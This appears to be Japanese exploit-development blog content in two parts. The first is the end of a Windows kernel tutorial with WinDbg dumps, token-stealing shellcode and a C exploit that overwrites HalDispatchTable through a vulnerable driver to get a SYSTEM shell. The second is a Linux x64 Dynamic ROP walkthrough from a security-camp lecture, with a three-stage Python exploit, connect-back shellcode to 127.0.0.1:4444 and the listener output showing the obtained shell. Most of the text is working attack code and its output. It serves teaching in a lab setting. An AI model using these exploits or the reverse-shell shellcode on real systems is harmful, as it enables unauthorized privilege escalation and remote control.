   +0x00c TssCopy          : 0x8279e000 Void
   +0x010 ContextSwitches  : 0xa9cfc
   +0x014 SetMemberCopy    : 1
   +0x018 Used_Self        : 0x7f08f000 Void
   +0x01c SelfPcr          : 0x81a70000 _KPCR
   +0x020 Prcb             : 0x81a70120 _KPRCB
   +0x024 Irql             : 0x1f ''
   +0x028 IRR              : 0
   +0x02c IrrActive        : 0
   +0x030 IDR              : 0
   +0x034 KdVersionBlock   : 0x81a44dc8 Void
   +0x038 IDT              : 0x80bd4400 _KIDTENTRY
   +0x03c GDT              : 0x80bd4000 _KGDTENTRY
   +0x040 TSS              : 0x8279e000 _KTSS
   +0x044 MajorVersion     : 1
   +0x046 MinorVersion     : 1
   +0x048 SetMember        : 1
   +0x04c StallScaleFactor : 0x8f7
   +0x050 SpareUnused      : 0 ''
   +0x051 Number           : 0 ''
   +0x052 Spare0           : 0 ''
   +0x053 SecondLevelCacheAssociativity : 0 ''
   +0x054 VdmAlert         : 0
   +0x058 KernelReserved   : [14] 0
   +0x090 SecondLevelCacheSize : 0
   +0x094 HalReserved      : [16] 0x1000000
   +0x0d4 InterruptMode    : 0
   +0x0d8 Spare1           : 0 ''
   +0x0dc KernelReserved2  : [17] 0
   +0x120 PrcbData         : _KPRCB
kd> dt _KPRCB 81a70000+120
ntdll!_KPRCB
   +0x000 MinorVersion     : 1
   +0x002 MajorVersion     : 1
   +0x004 CurrentThread    : 0xb88b2740 _KTHREAD
(snip)
kd> dt _KTHREAD 0xb88b2740
ntdll!_KTHREAD
(snip)
   +0x070 ApcState         : _KAPC_STATE
(snip)
kd> dt _KAPC_STATE 0xb88b2740+0x070
ntdll!_KAPC_STATE
   +0x000 ApcListHead      : [2] _LIST_ENTRY [ 0xb88b27b0 - 0xb88b27b0 ]
   +0x010 Process          : 0xb8967280 _KPROCESS
   +0x014 InProgressFlags  : 0 ''
   +0x014 KernelApcInProgress : 0y0
   +0x014 SpecialApcInProgress : 0y0
   +0x015 KernelApcPending : 0 ''
   +0x016 UserApcPending   : 0 ''
kd> dt _EPROCESS 0xb8967280
ntdll!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x0a0 ProcessLock      : _EX_PUSH_LOCK
   +0x0a8 CreateTime       : _LARGE_INTEGER 0x01d0efb7`ca392ea0
   +0x0b0 RundownProtect   : _EX_RUNDOWN_REF
   +0x0b4 UniqueProcessId  : 0x00000f6c Void
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY [ 0xa63a8d38 - 0xb89b0d38 ]
(snip)
   +0x0ec Token            : _EX_FAST_REF
(snip)
kd> dt _EX_FAST_REF 0xb8967280+0x0ec
ntdll!_EX_FAST_REF
   +0x000 Object           : 0xb5589bfb Void
   +0x000 RefCnt           : 0y011
   +0x000 Value            : 0xb5589bfb

上において、EPROCESS構造体のTokenメンバが指している構造体がそのプロセスの権限を表している。

また、WindowsではPID 4が常にSystemプロセスとなっている。 したがって、プロセスリストをたどり、PID 4のEPROCESS構造体のTokenメンバの値を自身のEPROCESS構造体にコピーすることで、権限昇格を行うことができる。

>tasklist

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0          8 K
System                           4 Services                   0        184 K
smss.exe                       260 Services                   0        812 K
csrss.exe                      340 Services                   0      2,736 K
wininit.exe                    392 Services                   0      3,024 K
csrss.exe                      400 RDP-Tcp#2                  1     18,624 K
winlogon.exe                   428 RDP-Tcp#2                  1      4,760 K
(snip)

上の結果をもとに、Tokenをコピーするシェルコードを書いてみると次のようになる。

; replacetoken.asm
.386
.model flat, stdcall
.code

start:
    pushad

    assume fs:nothing
    mov eax, fs:[124h]                  ; CurrentThread
    mov eax, [eax+80h]                  ; Process
    add eax, 0b8h                       ; ActiveProcessLinks
    push eax

search_system:
    mov eax, [eax]                      ; Flink
    cmp dword ptr [eax-04h], 4          ; UniqueProcessId
    jne search_system
    mov edx, [eax+34h]                  ; Token
    pop eax

search_process:
    mov eax, [eax]                      ; Flink
    cmp dword ptr [eax-04h], 41414141h  ; UniqueProcessId
    jne search_process
    mov [eax+34h], edx                  ; Token

    popad
    ret

end start

上のコードは関数としてcallされることから、pushad/popad命令によるレジスタの退避とret命令によるリターンを行うようになっている。 また、コピー先のプロセスのPIDは0x41414141と仮置きしてある。 実際にシェルコードを用いる際は、これをGetCurrentProcessId関数で取得したPIDに置き換える。

シェルコードをアセンブルし、C文字列に変換すると次のようになる。

>ml replacetoken.asm /link /subsystem:console

>dumpbin /rawdata replacetoken.exe
Microsoft (R) COFF/PE Dumper Version 12.00.31101.0
Copyright (C) Microsoft Corporation.  All rights reserved.


Dump of file replacetoken.exe

File Type: EXECUTABLE IMAGE

RAW DATA #1
  00401000: 60 64 A1 24 01 00 00 8B 80 80 00 00 00 05 B8 00  `d¡$..........¸.
  00401010: 00 00 50 8B 00 83 78 FC 04 75 F8 8B 50 34 58 8B  ..P...xü.uø.P4X.
  00401020: 00 81 78 FC 41 41 41 41 75 F5 89 50 34 61 C3     ..xüAAAAuõ.P4aÃ

  Summary

        1000 .text

>dumpbin /rawdata replacetoken.exe | powershell -ex remotesigned -f getsc.ps1
\x60\x64\xA1\x24\x01\x00\x00\x8B\x80\x80\x00\x00\x00\x05\xB8\x00\x00\x00\x50\x8B\x00\x83\x78\xFC\x04\x75\xF8\x8B\x50\x34\x58\x8B\x00\x81\x78\xFC\x41\x41\x41\x41\x75\xF5\x89\x50\x34\x61\xC3

エクスプロイトコードを書いてみる

ユーザ空間で実行可能メモリを確保した後作成したシェルコードを配置し、カーネルモードからこのアドレスにジャンプさせるエクスプロイトコードを書くと次のようになる。

/* exploit.c */
#include <windows.h>
#include <stdio.h>

#define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

typedef enum {
    SystemModuleInformation = 11
} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;

typedef struct {
    PVOID Reserved1;
    PVOID Reserved2;
    PVOID ImageBaseAddress;
    ULONG ImageSize;
    ULONG Flags;
    WORD Id;
    WORD Rank;
    WORD w018;
    WORD NameOffset;
    BYTE Name[256];
} SYSTEM_MODULE, *PSYSTEM_MODULE;

typedef struct {
    ULONG ModulesCount;
    SYSTEM_MODULE Modules[0];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

struct ioctl_aaw_arg {
    DWORD *addr;
    DWORD value;
};

void replacePattern(char *buffer, int size, DWORD pattern, DWORD value)
{
    for (int i = 0; i < size; i++) {
        if (*(DWORD *)(buffer + i) == pattern) {
            *(DWORD *)(buffer + i) = value;
        }
    }
}

int main()
{
    PSYSTEM_MODULE_INFORMATION moduleInfo;
    ULONG len;
    DWORD BytesReturned;
    ULONG dummy;

    HMODULE ntdll = GetModuleHandle("ntdll");
    FARPROC NtQuerySystemInformation = GetProcAddress(ntdll, "NtQuerySystemInformation");
    FARPROC NtQueryIntervalProfile = GetProcAddress(ntdll, "NtQueryIntervalProfile");

    NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
    moduleInfo = (PSYSTEM_MODULE_INFORMATION)malloc(len);
    NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, NULL);
    printf("[+] %s: %p\n", moduleInfo->Modules[0].Name, moduleInfo->Modules[0].ImageBaseAddress);

    PVOID kernelBase = moduleInfo->Modules[0].ImageBaseAddress;

    HMODULE ntoskrnl = LoadLibrary("ntoskrnl.exe");
    PVOID HalDispatchTable = GetProcAddress(ntoskrnl, "HalDispatchTable");
    HalDispatchTable = (CHAR *)HalDispatchTable - (CHAR *)ntoskrnl + (CHAR *)kernelBase;
    printf("[+] nt!HalDispatchTable: %p\n", HalDispatchTable);

    char shellcode[] = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x80\x80\x00\x00\x00\x05\xB8\x00\x00\x00\x50\x8B\x00\x83\x78\xFC\x04\x75\xF8\x8B\x50\x34\x58\x8B\x00\x81\x78\xFC\x41\x41\x41\x41\x75\xF5\x89\x50\x34\x61\xC3";
    replacePattern(shellcode, sizeof(shellcode), 0x41414141, GetCurrentProcessId());
    LPVOID rwxMemory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(rwxMemory, shellcode, sizeof(shellcode));

    struct ioctl_aaw_arg arg;
    arg.addr = (CHAR *)HalDispatchTable + 4;
    arg.value = (DWORD)rwxMemory;

    HANDLE hDevice = CreateFile("\\\\.\\Vuln", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    DeviceIoControl(hDevice, IOCTL_AAW, &arg, sizeof(arg), NULL, 0, &BytesReturned, NULL);

    NtQueryIntervalProfile(2, &dummy);

    PVOID KeGetCurrentThread = GetProcAddress(ntoskrnl, "KeGetCurrentThread");
    KeGetCurrentThread = (CHAR *)KeGetCurrentThread - (CHAR *)ntoskrnl + (CHAR *)kernelBase;

    arg.value = (DWORD)KeGetCurrentThread;
    DeviceIoControl(hDevice, IOCTL_AAW, &arg, sizeof(arg), NULL, 0, &BytesReturned, NULL);
    CloseHandle(hDevice);

    WinExec("cmd", SW_SHOWNORMAL);

    return 0;
}

上のコードでは、NtQueryIntervalProfile関数によりシェルコードを実行させた後、WinExec関数でコマンドプロンプトを起動する。 また、他のプロセスがNtQueryIntervalProfile関数を実行した際にクラッシュしないよう、シェルコードを実行した後は書き換えたアドレスをKeGetCurrentThread関数のアドレスに書き戻している。

エクスプロイトコードをコンパイルし実行すると、次のスクリーンショットのようになる。

f:id:inaz2:20150915230004p:plain

whoamiコマンドの結果がnt authority\systemとなっており、権限昇格した状態でコマンドプロンプトが実行できていることが確認できる。

関連リンク

Linux x64でDynamic ROPによるシェルコード実行をやってみる

ASLR+DEP+FullRELROが有効な環境で、Dynamic ROP(JIT-ROP)により任意のシェルコードを実行してみる。 これは、セキュリティ・キャンプ全国大会2015の講義にて行った演習に若干の修正を加えたものである。

環境

Ubuntu Server 14.04.2 64bit版

$ uname -a
Linux seccamp2015-d123 3.16.0-30-generic #40~14.04.1-Ubuntu SMP Thu Jan 15 17:43:14 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.2 LTS
Release:        14.04
Codename:       trusty

$ gcc --version
gcc (Ubuntu 4.8.4-2ubuntu1~14.04) 4.8.4

脆弱性のあるプログラムコードを書いてみる

単純なスタックバッファオーバーフロー脆弱性のあるプログラムコードを書くと次のようになる。

/* sbof.c */
#include <stdio.h>

void sbof()
{
    char buf[16];
    int bytes;
    bytes = read(0, buf, 400);
    write(1, buf, bytes);
}

int main(int argc, char *argv[])
{
    sbof();
    return 0;
}

ASLR、DEP、FullRELRO有効、SSP、PIE無効にてコンパイルする。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
$ gcc -fno-stack-protector -Wl,-z,relro,-z,now sbof2.c

16バイト以上の入力でスタックバッファオーバーフローが起こることを確認してみる。

$ ./a.out
AAAA
AAAA
$ ./a.out
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Segmentation fault

エクスプロイトコードを書いてみる

最初に、実行ファイルから必要となる情報を書き出しておく。

$ readelf -a a.out >dump.txt
$ objdump -M intel -d a.out >>dump.txt

「x64でDynamic ROPによるASLR+DEP+RELRO回避をやってみる」と同様の手順にて、任意のシェルコードを実行するエクスプロイトコードを書くと次のようになる。

# exploit.py
import struct
from subprocess import Popen, PIPE

bufsize = 16

addr_csu_init1 = 0x400636
addr_csu_init2 = 0x400620
addr_leave_ret = 0x4005bc
addr_got_read = 0x601020
addr_got_write = 0x601018
addr_got_libc_start = 0x601028
addr_bss = 0x0000000000601048

addr_stage = addr_bss + 0x400

p = Popen(['./sbof2'], stdin=PIPE, stdout=PIPE)

# stage 1
buf = 'A' * bufsize
buf += 'AAAAAAAA' * 3
buf += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_write, 8, addr_got_libc_start, 1)
buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 1, addr_got_read, 400, addr_stage, 0)
buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, addr_stage, 0, 0, 0, 0)
buf += struct.pack('<Q', addr_leave_ret)

p.stdin.write(buf)
print "> %r" % p.stdout.read(len(buf))
data = p.stdout.read(8)
addr_libc_start = struct.unpack('<Q', data)[0]
print "[+] addr_libc_start = %08x" % addr_libc_start

# stage 2
read_bytes = 0x180000

buf = 'AAAAAAAA'
buf += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_write, read_bytes, addr_libc_start, 1)
buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 1, addr_got_read, 400, addr_stage+400, 0)
buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, addr_stage+400, 0, 0, 0, 0)
buf += struct.pack('<Q', addr_leave_ret)
buf += 'A' * (400-len(buf))

p.stdin.write(buf)
data = p.stdout.read(read_bytes)
print "[+] len(data) = %x" % len(data)

# stage 3
addr_pop_rax = addr_libc_start + data.index('\x58\xc3')
addr_pop_rdi = addr_libc_start + data.index('\x5f\xc3')
addr_pop_rsi = addr_libc_start + data.index('\x5e\xc3')
addr_pop_rdx = addr_libc_start + data.index('\x5a\xc3')
addr_syscall = addr_libc_start + data.index('\x0f\x05\xc3')
nr_mprotect = 10

# connect-back shellcode (127.0.0.1:4444)
shellcode = '\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x68\x7f\x00\x00\x01\x66\x68\x11\x5c\x66\x6a\x02\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05'

buf = 'AAAAAAAA'
buf += struct.pack('<QQ', addr_pop_rax, nr_mprotect)
buf += struct.pack('<QQ', addr_pop_rdi, addr_stage & ~0xFFF)
buf += struct.pack('<QQ', addr_pop_rsi, 1024)
buf += struct.pack('<QQ', addr_pop_rdx, 7)
buf += struct.pack('<Q', addr_syscall)
buf += struct.pack('<Q', addr_stage+400+len(buf)+8)
buf += shellcode
buf += 'A' * (400-len(buf))

p.stdin.write(buf)
p.wait()

上のコードの内容を簡単に説明すると次のようになる。

  1. GOTにある__libc_start_main関数の実際のアドレスを書き出し、stack pivotを行う
  2. __libc_start_main関数の実際のアドレスから0x180000バイトを書き出し、stack pivotを行う
  3. 書き出したメモリからシステムコールを呼ぶのに必要なROP gadgetを探索し、mprotectシステムコールを実行する
  4. シェルコードにジャンプする

ここでは、シェルコードとして127.0.0.1:4444に対するconnect-back shellcodeを用いている。

なお、2で書き出すバイト数は、次のようにして推定できる。

$ ldd a.out
        linux-vdso.so.1 =>  (0x00007ffffea8e000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fdc2eada000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fdc2eea6000)

$ readelf -a /lib/x86_64-linux-gnu/libc.so.6
(snip)
Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  PHDR           0x0000000000000040 0x0000000000000040 0x0000000000000040
                 0x0000000000000230 0x0000000000000230  R E    8
  INTERP         0x0000000000187f30 0x0000000000187f30 0x0000000000187f30
                 0x000000000000001c 0x000000000000001c  R      10
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x00000000001ba014 0x00000000001ba014  R E    200000
  LOAD           0x00000000001ba740 0x00000000003ba740 0x00000000003ba740
                 0x0000000000005160 0x0000000000009b80  RW     200000
(snip)

$ nm -D -n /lib/x86_64-linux-gnu/libc.so.6 | grep __libc_start_main
0000000000021dd0 T __libc_start_main

$ python
Python 2.7.6 (default, Jun 22 2015, 17:58:13)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0x00000000001ba014-0x0000000000021dd0)
'0x198244'
>>> [CTRL+D]

readelfコマンドで表示されたプログラムヘッダの内容から、先頭から0x1ba014バイトが実行可能領域としてロードされることがわかる。 また、nmコマンドの実行結果から、__libc_start_main関数は先頭から0x21dd0バイトの位置にあることがわかる。 したがって、この場合__libc_start_main関数のアドレスから書き出すことができるバイト数は最大で0x198244バイトとなる。

エクスプロイトコードを実行してみる

あらかじめバックグラウンドでtcpの4444ポートをlistenした上で、エクスプロイトコードを実行してみる。

$ nc -v -l 4444 &
[1] 920

$ Listening on [0.0.0.0] (family 0, port 4444)
[ENTER]

$ python exploit3.py &
[2] 927

$ > 'AAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf0\x00\x00\x00AAAAAAAA6\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x18\x10`\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00(\x10`\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00 \x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00 \x10`\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00H\x14`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00H\x14`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\x05@\x00\x00\x00\x00\x00'
[+] addr_libc_start = 7fef6cfb9dd0
[+] len(data) = 180000
Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 33140)
[ENTER]

[1]+  Stopped                 nc -v -l 4444

$ fg 1
nc -v -l 4444
id
uid=1000(user) gid=1000(user) groups=1000(user)
exit
[2]-  Done                    python exploit.py

シェルコードが実行され、listenしていたポートからシェルが操作できることが確認できた。